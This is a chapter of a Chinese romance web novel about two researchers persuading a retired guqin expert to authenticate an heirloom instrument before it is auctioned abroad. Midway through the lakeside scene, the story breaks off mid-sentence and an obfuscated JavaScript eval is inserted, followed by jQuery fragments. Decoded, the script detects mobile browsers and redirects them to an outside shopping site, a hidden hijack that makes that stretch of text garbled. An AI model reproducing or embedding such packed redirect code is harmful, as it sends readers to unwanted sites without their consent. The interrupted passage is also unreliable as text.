“突然产生了误差,还不是虫蛀或风化……”石清和沉吟片刻,似乎陷入了思考,“这把琴历史有多久?”
“据资料……据我的设定,接近一百年。”
“有没有经过别人的手?”
“有,很多。”
“那不稀奇,大概是中途被谁改动了一点。”石清和眯起眼睛,“只是,这么微小的改动,看起来似乎是完全没有必要的。琴腹是否有刻字印花?”
这下把宋桥问倒了。
“我想一下……”她一边说着,一边疯狂打字。
宋桥:【玉壶琴腹有刻字吗?快回答!急急急!!!】
路晓秋:【没有,也没有印花】
路晓秋:【你问这个干什么?你人在哪儿呢?】
太阳大概是斜了一点,落下的光晕似乎被云层遮盖,形成一小块荫蔽。
“没有没有。”宋桥顺口回复。
“哦,那这古琴的保存状态?”
“挺好的,岳山和承露、龙龈都完整。”
“这把琴不会叫‘玉壶’吧?”
“?”
宋桥猛地仰头,撞上石老似笑非笑的表情。
空气凝固了,一个大写的尴尬飞在天上。
“石老,你听我解释……”她默默举起双手。
“姜还是老的辣吧?”石清和收了目光,满意地“哼”一声,“小丫头片子,还想套路我?”
“所以,您到底为什么不愿意跟我们回去呢?”宋桥百思不得其解。
石清和缓缓落座,啜一口茶。
片刻,他缓缓开口:“小宋,你大概查过不少研究所的资料。我退休前认的最后一张琴,叫什么,还记得么?”
“记得。是一台清末古琴,叫‘松涛’。”
“不错。那‘松涛’最后去了哪里呢?”
“我记得是被人买走了吧?拍出了七百五十万的价格,当时上了新闻呢。”
“那后来呢?”
后来?
宋桥凝眉:“我记得这人去世后,几个子女为了抢它,打得头破血流。最后这把琴被拍卖掉,换成了可以平分的资产。”
“不错。”石清和眉目之间有苦色,“古话说得好,‘琴者,禁也’。谁能想到,一张古琴,闹得家人离心,自己也流落无踪。”
“早知如此,我就不该认它,或许在某个书房里,还能被搬出来谈一谈,也尽了它的命数。”
“所以,我已经很多年不再认琴。认错了,是毁一张琴;认对了,也未必是成全。很多琴,一旦有了名字,在名利场中滚过一遭,就再也不能安安静静做琴了。”
“我老了,见不得这些。”石清和笑笑,“就让我过个平平淡淡的晚年吧。”
“可是,这次的情况恰好相反。如果您不出手,玉壶就会被运出国拍卖。”宋桥急忙补充,“我们只有两个星期的时间。”
然而石清和没有反应,只是沉默着,又给自己斟了一杯茶。
“我很无奈,但是无计可施。”他最终只是说。
情急之下,宋桥猛地站起身:“可是,如果摆上名利桌是板上钉钉,至少该让它留在自己的家乡啊。”
“还是说,您觉得,只要不是您亲手将它推出去,就可以心安理得了呢?”
“你什么意思?”
这话有些诛心,石清和到底是受人仰慕了一辈子,眉毛倒竖,脸上有了几分怒意。
“我……”
一句话没说完,被挡在身前的高大身影尽数怼回去。
在视觉盲区,宋桥感受到自己的手腕被握住,狠狠攥了一下。
“石老。”程渡舟依旧顺着眼。
“你听见没有?小宋刚刚的话,简直是目无尊长!”石清和气得有些发抖,“即便是平辈,说话也没有如此刻薄的道理!”
“是,她说话方式偏激。”
听到面前人这样说她,宋桥一口气提起来,急急想要辩解。
然而,换来手腕处又一次攥握的疼痛。
这一次捏到了腕骨,火辣辣的,生疼。
眼睛瞬间酸涩,生理泪水上涌。
心头莫名其妙就有了一个念头。
胳膊肘子往外拐,真是多余管他的闲事。
愣神的功夫,却听前面那人不疾不徐地继续道:“她说话方式偏激,可是道理我支持。”
平地一声惊雷,在场另外两人的眼睛同时瞪大。
石清和目瞪口呆:“小程,你一向懂分寸,怎么……”
“石老,您不出山,拍卖已成定局。”程渡舟看着他的眼睛,不卑不亢,“您出手的话,或许还有一半的转圜余地。至少,中国的遗产,就留在中国吧。”
对面沉默不语,只是低着头,一味喝茶。
“我还有个消息带给您。‘松涛’找到了,那位原主人的孙女儿继承了她的衣钵,走上了古琴表演道路,倾尽家产,将奶奶的琴带回了家。”
“所有东西都可以定价,但时间和热爱永远不会。您现在还觉得,当年那件事,是您的过错吗?”
*
“所以你说,石老明天真的会跟我们走吗?”
坐在湖边,宋桥一边咬着酸奶勺子,一边问。
早上的风波后,程渡舟放下一句“明早我们在车站等您”,就带着宋桥潇洒离去。
“不知道啊。”程渡舟轻描淡写回她。
“不知道?”宋桥傻了眼,“你白天说得那么有气势,我以为你十拿九稳呢。”
“哪有什么十拿九稳的事情,尽人事听天命吧。”程渡舟顺手拿走她手里的空盒,丢到垃圾桶里。
垂眸的瞬间,看到女孩腕骨上的红印子。
宋桥意识到他的停顿,顺着眼神望过去,瞬间挂了脸。
“白天捏我的时候倒是很理直气壮。”她说。
云城的风很轻柔,刮过来,茅草气息混合在空气中,格外心旷神怡。
女孩的眼睛像是湖泊里褶皱的水,仿佛一眨就能落下几滴珍珠。
心口一动,程渡舟移开目光:“谁叫你乱说话。”
“我是为了谁?”
“为了给我添麻烦?为了让石老当场气晕?”
“……懒得理你!”
跟这个人真是好话说不过三秒!
宋桥气狠了,转过身,不理他。
丢了垃圾转过头去,程渡舟只看到一个愤懑的背影,蜷缩着,像是一小只熊猫。
“嘿,小熊猫?”他勾起嘴角,戳戳她后背。
“别碰我。”女孩的声音闷闷,“要是我真是小熊猫,你早上掐我两下,现在已经被逮捕了。”
“这么严重?”程渡舟挑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804224|210174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起眉,“我看看。”
她不给,故意甩着手腕躲开,却被他硬生生牵住,握在掌心里。
掌心的体温最高,透过脉搏汩汩传来,灼得人脸烫。
宋桥看他一眼,企图抽回手,却未遂,于是说:“好了好了,逗你的。”
脑袋偏开,有些许的不自在。
“啧。”上方传来男人的一声轻啧,引得人心头一跳。
“看这爪子,也不是小熊猫啊,得是足月的猪仔。”
“……你说谁长了猪蹄?”
宋桥炸了毛,照着男人的手就反握下去。
发了狠,连自己的掌心都隐隐发痛。
程渡舟果然龇牙咧嘴:“哎呦哎呦,不行了,女侠饶命。”
“切,饶你一命。”得了便宜,宋桥转过身,嘴角带笑。
怕疼,怕蜘蛛,看来这个百毒不侵的程渡舟,还是有脆弱点的嘛。
嗯,要是心情不好,干脆写男反派被蜘蛛精吃掉算了。
“喂,问你一件事。”程渡舟跟在她身后,犹豫着开口。
“放。”宋桥心情不错。
“如果我之前误会了一个人,态度很恶劣地对待了她,结果最后发现是乌龙,被原谅的可能性有多高?”
“男的女的?”
“女生。”
宋桥停住脚步,站在原地,饶有趣味地看着他:“按理说呢,女孩子心软,真诚地道歉,问题应该不是很大。”
程渡舟舒了一口气。
“但是,有你这张嘴的加持。”宋桥说,“估计是悬了。”
“今晚你睡大街去。”
“……小气鬼!”
次日一早,两人背着包,等候在火车站。
云城是旅游城市,火车密集,他们从最早一班等到天黑,没看到石老的身影。
“我再去一趟石老家。”宋桥看一眼表,抬脚就要往外走。
还没走几步,被程渡舟拦下。
“他不想来,我们再住几天都没用的。”他的声音无容置疑,“回去吧,先把能做的事情做完。”
宋桥不死心:“可是……”
“没有可是,”程渡舟打断她,“尽人事听天命,与其耗在这里,不如回去,多在古琴上下下功夫。”
“……好。”
留下恋恋不舍的一眼,宋桥转过身,跟着程渡舟上了最后一班火车。
目前形势之严峻,似乎比他们想象的更甚。
宋桥来到研究所时,大门口围了一层记者,每个都严阵以待,连一只蚊子都飞不进去。
看到她脖子上的工牌,众人如洪水般用上来,差点将好好的花季少女挤成二次元人物。
“请问可以说一下‘玉壶’的研究进度吗?”
“有人说,唯一能确定古琴身份的人是石清和先生,请问是否属实?”
“我什么都不知道,麻烦别拍了,让我过去……”
宋桥被困在人墙里,进退两难,差点断气;周围的摄像头闪烁不停,让她眼花缭乱。
下一秒,一件衣服迎头盖上,眼前是温暖的漆黑,仿佛短暂与世界隔离开来。
隔着布料,她听到身旁的男声掷地有声:
“她是项目无关人员,而且明确拒绝了采访,强制采集别人形象,你们相关法规都当咸菜就饭吃了?”